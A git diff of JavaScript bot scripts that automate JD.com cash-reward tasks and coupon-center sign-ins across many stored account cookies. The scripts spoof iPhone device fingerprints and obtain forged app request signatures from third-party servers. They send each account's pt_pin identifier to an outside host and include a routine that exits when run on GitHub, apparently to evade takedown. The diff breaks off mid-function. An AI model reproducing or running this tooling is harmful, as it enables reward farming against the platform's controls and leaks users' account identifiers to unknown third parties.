`body=%7B%7D&build=167968&client=apple&clientVersion=10.4.0&d_brand=apple&d_model=iPhone13%2C3&ef=1&eid=eidI25488122a6s9Uqq6qodtQx6rgQhFlHkaE1KqvCRbzRnPZgP/93P%2BzfeY8nyrCw1FMzlQ1pE4X9JdmFEYKWdd1VxutadX0iJ6xedL%2BVBrSHCeDGV1&ep=%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22screen%22%3A%22CJO3CMeyDJCy%22%2C%22osVersion%22%3A%22CJUkDK%3D%3D%22%2C%22openudid%22%3A%22CJSmCWU0DNYnYtS0DtGmCJY0YJcmDwCmYJC0DNHwZNc5ZQU2DJc3Zq%3D%3D%22%2C%22area%22%3A%22CJZpCJCmC180ENcnCv80ENc1EK%3D%3D%22%2C%22uuid%22%3A%22aQf1ZRdxb2r4ovZ1EJZhcxYlVNZSZz09%22%7D%2C%22ts%22%3A1648428189%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D&ext=%7B%22prstate%22%3A%220%22%2C%22pvcStu%22%3A%221%22%7D&isBackground=N&joycious=104&lang=zh_CN&networkType=3g&networklibtype=JDNetworkBaseAF&partner=apple&rfs=0000&scope=11&sign=98c0ea91318ef1313786d86d832f1d4d&st=1648428208392&sv=101&uemps=0-0&uts=0f31TVRjBSv7E8yLFU2g86XnPdLdKKyuazYDek9RnAdkKCbH50GbhlCSab3I2jwM04d75h5qDPiLMTl0I3dvlb3OFGnqX9NrfHUwDOpTEaxACTwWl6n//EOFSpqtKDhg%2BvlR1wAh0RSZ3J87iAf36Ce6nonmQvQAva7GoJM9Nbtdah0dgzXboUL2m5YqrJ1hWoxhCecLcrUWWbHTyAY3Rw%3D%3D` + return new Promise((resolve) => { + $.post(apptaskUrl(functionId, sign), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`appindex API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code===0 && data.data.result){ + if(info){ + if (message) { + message += `当前现金:${data.data.result.totalMoney}元`; + allMessage += `京东账号${$.index}${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + console.log(`\n\n当前现金:${data.data.result.totalMoney}元`); + return + } + $.signMoney = data.data.result.totalMoney; + // console.log(`您的助力码为${data.data.result.invitedCode}`) + console.log(`\n【京东账号${$.index}(${$.UserName})的好友互助码】${data.data.result.invitedCode}\n`); + let helpInfo = { + 'inviteCode': data.data.result.invitedCode, + 'shareDate': data.data.result.shareDate + } + $.shareDate = data.data.result.shareDate; + // $.log(`shareDate: ${$.shareDate}`) + // console.log(helpInfo) + for (let task of data.data.result.taskInfos) { + if (task.type === 4) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await appdoTask(task.type, task.jump.params.skuId) + await $.wait(5000) + } + } else if (task.type === 2) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await appdoTask(task.type, task.jump.params.shopId) + await $.wait(5000) + } + } else if (task.type === 30) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await appdoTask(task.type, task.jump.params.path) + await $.wait(5000) + } + } else if (task.type === 16 || task.type===3 || task.type===5 || task.type===17 || task.type===21) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await appdoTask(task.type, task.jump.params.url) + await $.wait(5000) + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function index() { + return new Promise((resolve) => { + $.get(taskUrl("cash_mob_home"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`index API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data.result) { + for (let task of data.data.result.taskInfos) { + if (task.type === 4) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await doTask(task.type, task.jump.params.skuId) + await $.wait(5000) + } + } else if (task.type === 2) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await doTask(task.type, task.jump.params.shopId) + await $.wait(5000) + } + } else if (task.type === 31) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await doTask(task.type, task.jump.params.path) + await $.wait(5000) + } + } else if (task.type === 16 || task.type===3 || task.type===5 || task.type===17 || task.type===21) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await doTask(task.type, task.jump.params.url) + await $.wait(5000) + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function appdoTask(type,taskInfo) { + let functionId = 'cash_doTask' + let body = {"type":type,"taskInfo":taskInfo} + let sign = await getSignfromPanda(functionId, body) + + return new Promise((resolve) => { + $.post(apptaskUrl(functionId, sign), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`appdoTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code === 0) { + console.log(`任务完成成功`) + // console.log(data.data.result.taskInfos) + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function doTask(type,taskInfo) { + return new Promise((resolve) => { + $.get(taskUrl("cash_doTask",{"type":type,"taskInfo":taskInfo}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`doTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if( data.code === 0){ + console.log(`任务完成成功`) + // console.log(data.data.result.taskInfos) + }else{ + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getSignfromPanda(functionId, body) { + var strsign = ''; + let data = { + "fn":functionId, + "body": body + } + return new Promise((resolve) => { + let url = { + url: "https://api.jds.codes/jd/sign", + body: JSON.stringify(data), + followRedirect: false, + headers: { + 'Accept': '*/*', + "accept-encoding": "gzip, deflate, br", + 'Content-Type': 'application/json', + 'Authorization': 'Bearer ' + jdPandaToken + }, + timeout: 30000 + } + $.post(url, async(err, resp, data) => { + try { + data = JSON.parse(data); + + if (data && data.code == 200) { + lnrequesttimes = data.request_times; + console.log("连接Panda服务成功,当前Token使用次数为" + lnrequesttimes); + if (data.data.sign) + strsign = data.data.sign || ''; + if (strsign != '') + resolve(strsign); + else + console.log("签名获取失败,可能Token使用次数上限或被封."); + } else { + console.log("签名获取失败."); + } + + }catch (e) { + $.logErr(e, resp); + }finally { + resolve(strsign); + } + }) + }) +} + + +function randomString(e) { + e = e || 32; + let t = "abcdefghijklmnopqrstuvwxyz0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `http://code.chiang.fun/api/v1/jd/jdcash/read/${randomCount}/`, 'timeout': 30000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(30000); + resolve() + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + let shareCodes = []; + if ($.isNode()) { + if (process.env.JD_CASH_SHARECODES) { + if (process.env.JD_CASH_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JD_CASH_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JD_CASH_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } else { + if ($.getdata('jd_cash_invite')) $.shareCodesArr = $.getdata('jd_cash_invite').split('\n').filter(item => !!item); + console.log(`\nBoxJs设置的京东签到领现金邀请码:${$.getdata('jd_cash_invite')}\n`); + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function deepCopy(obj) { + let objClone = Array.isArray(obj) ? [] : {}; + if (obj && typeof obj === "object") { + for (let key in obj) { + if (obj.hasOwnProperty(key)) { + //判断ojb子元素是否为对象,如果是,递归复制 + if (obj[key] && typeof obj[key] === "object") { + objClone[key] = deepCopy(obj[key]); + } else { + //如果不是,简单复制 + objClone[key] = obj[key]; + } + } + } + } + return objClone; +} + +function apptaskUrl(functionId = "", body = "") { + return { + url: `${JD_API_HOST}?functionId=${functionId}`, + body, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': '', + 'User-Agent': 'JD4iPhone/167774 (iPhone; iOS 14.7.1; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${encodeURIComponent(JSON.stringify(body))}&appid=CashRewardMiniH5Env&appid=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +function getAuthorShareCode(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 30000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_ccSign.js b/jd_ccSign.js new file mode 100644 index 0000000..a18f126 --- /dev/null +++ b/jd_ccSign.js @@ -0,0 +1,311 @@ +/* +领券中心签到 + +@感谢 ddo 提供sign算法 +@感谢 匿名大佬 提供pin算法 + +活动入口:领券中心 +更新时间:2021-08-23 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#领券中心签到 +15 0 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_ccSign.js, tag=领券中心签到, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "15 0 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_ccSign.js,tag=领券中心签到 + +===============Surge================= +领券中心签到 = type=cron,cronexp="15 0 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_ccSign.js + +============小火箭========= +领券中心签到 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_ccSign.js, cronexpr="15 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('领券中心签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let allMessage = ''; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdSign() + await $.wait(2000) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdSign() { + await getCouponConfig() +} + +async function getCouponConfig() { + let functionId = `getCouponConfig` + let body = {"childActivityUrl":"openapp.jdmobile://virtual?params={\"category\":\"jump\",\"des\":\"couponCenter\"}","incentiveShowTimes":0,"monitorRefer":"","monitorSource":"ccresource_android_index_config","pageClickKey":"Coupons_GetCenter","rewardShowTimes":0,"sourceFrom":"1"} + let sign = await getSign(functionId, body) + return new Promise(async resolve => { + $.post(taskUrl(functionId, sign), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getCouponConfig API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + let functionId, body + if (data.result.couponConfig.signNecklaceDomain) { + if (data.result.couponConfig.signNecklaceDomain.roundData.ynSign === '1') { + console.log(`签到失败:今日已签到~`) + } else { + let pin = await getsecretPin($.UserName) + functionId = `ccSignInNecklace` + body = {"childActivityUrl":"openapp.jdmobile://virtual?params={\"category\":\"jump\",\"des\":\"couponCenter\"}","monitorRefer":"appClient","monitorSource":"cc_sign_android_index_config","pageClickKey":"Coupons_GetCenter","sessionId":"","signature":data.result.couponConfig.signNecklaceDomain.signature,"pin":pin,"verifyToken":""} + } + } else { + if (data.result.couponConfig.signNewDomain.roundData.ynSign === '1') { + console.log(`签到失败:今日已签到~`) + } else { + let pin = await getsecretPin($.UserName) + functionId = `ccSignInNew` + body = {"childActivityUrl":"openapp.jdmobile://virtual?params={\"category\":\"jump\",\"des\":\"couponCenter\"}","monitorRefer":"appClient","monitorSource":"cc_sign_android_index_config","pageClickKey":"Coupons_GetCenter","pin":pin} + } + } + if (functionId && body) await ccSign(functionId, body) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function ccSign(functionId, body) { + let sign = await getSign(functionId, body) + return new Promise(async resolve => { + $.post(taskUrl(functionId, sign), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} ccSign API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data.busiCode === '0') { + console.log(functionId === 'ccSignInNew' ? `签到成功:获得 ${data.result.signResult.signData.amount} 红包` : `签到成功:获得 ${data.result.signResult.signData.necklaceScore} 点点券,${data.result.signResult.signData.amount}`) + } else { + console.log(`签到失败:${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getSign(functionId, body) { + return new Promise(async resolve => { + let data = { + functionId, + body: JSON.stringify(body), + "client":"android", + "clientVersion":"10.3.2" + } + let HostArr = ['jdsign.cf', 'signer.nz.lu'] + let Host = HostArr[Math.floor((Math.random() * HostArr.length))] + let options = { + url: `https://cdn.nz.lu/ddo`, + body: JSON.stringify(data), + headers: { + Host, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 30 * 1000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getSign API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getsecretPin(pin) { + return new Promise(async resolve => { + let data = { + "pt_pin": pin + } + let HostArr = ['jdsign.cf', 'signer.nz.lu'] + let Host = HostArr[Math.floor((Math.random() * HostArr.length))] + let options = { + url: `https://cdn.nz.lu/pin`, + body: JSON.stringify(data), + headers: { + Host, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 30 * 1000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getsecretPin API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function taskUrl(functionId, body) { + return { + url: `${JD_API_HOST}?functionId=${functionId}`, + body, + headers: { + "Host": "api.m.jd.com", + "Connection": "keep-alive", + "User-Agent": "okhttp/3.12.1;jdmall;android;version/10.1.2;build/89743;screen/1080x2030;os/9;network/wifi;", + "Accept": "*/*", + "Referer": "https://h5.m.jd.com/rn/42yjy8na6pFsq1cx9MJQ5aTgu3kX/index.html", + "Accept-Encoding": "gzip, deflate", + "Accept-Language": 